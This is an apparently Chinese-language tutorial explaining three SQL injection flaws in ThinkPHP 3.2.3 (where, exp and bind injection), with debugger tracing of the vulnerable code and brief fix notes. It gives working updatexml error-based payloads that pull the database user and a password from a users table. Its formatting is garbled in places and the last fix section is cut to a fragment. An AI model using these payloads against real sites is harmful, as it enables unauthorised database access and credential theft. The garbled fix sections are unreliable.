前言
ThinkPhp是目前主流的一款php語言框架,但在使用中,也是產生了很多的高危漏洞。本文小編將從Thinkphp3說起,說明一些tp3框架的漏洞產生原理。使廣大愛好者進一步深刻的理解框架。
環境搭建
下載源碼編輯器使用了phpstrom配置數據庫添加測試數據Thinkphp3.2.3 where注入
payload<code>?id[where]=1 and 1=updatexml(1,concat(0x7e,(
select
password
from
users
limit
1
),0x7e
),1
)%23
/<code>斷點分析
經過htmlspecialchars過濾於442行通過think_filter函數進行過濾經過ThinkPHP/Library/Think/Model.class.php:779的find()方法滿足條件則進入<code>id=
1
' -> I() -> find() -> __parseOptions() ->_parseType()/<code>滿足條件才能進去__parseOptions()方法
條件<code>
if
(isset
($options['where'
]) && is_array($options['where'
]) && !empty
($fields) && !isset
($options['join'
]))/<code>繞過<code>index.php?id[
where
]=3 and 1=1/<code>修復
Thinkphp 3.2.3 exp注入
部署環境payload<code>http:
//localhost
:8888
/tp3/index.php?username[0
]=exp
&username[1
]==1
%20and%20updatexml(1
,concat(0x7e
,user(),0x7e
),1
)/<code>分析
進入Model.class.php的822行this−>select(this−>select(options)跟進select方法跟蹤Driver.class.php中的parseSql方法跟蹤Driver.class.php中的parseWhere方法經過whereStr.=whereStr.=this->parseWhereItem(this−>parseKey(this−>parseKey(key), $val)方法,跟蹤進去<code>需要時數組才可以進去if語句/<code>
語句exp直接拼接構成注入<code> }
elseif
('bind'
== $exp) { $whereStr .= $key .' = :'
. $val[1
];/<code>修復
使用I方法接受會通過think_filter函數進行過濾
thinkphp 3.2.3 bind注入
payload<code>index.php?
id
[0
]=bind&id
[1
]=0
and updatexml(1
,concat(0x7e
,user(),0x7e
),1
)&password=1
/<code>環境部署<code>
public
function
index
()
{ $User = M("Users"
); $user['id'
] = I('id'
); $data['password'
] = I('password'
); $valu = $User->where($user)->save($data); var_dump($valu); }/<code>上文說到除了exp還有bind可以進行注入
報錯
<code>
if
(!empty
($this
->bind)) { $that =$this
;$this
->queryStr = strtr($this
->queryStr, array_map(function
($val)
use
($that)
{return
'\''
. $that->escapeString($val) .'\''
;},$this
->bind)); }/<code>如果payload不是0的話修復
<code>
https
:/<code>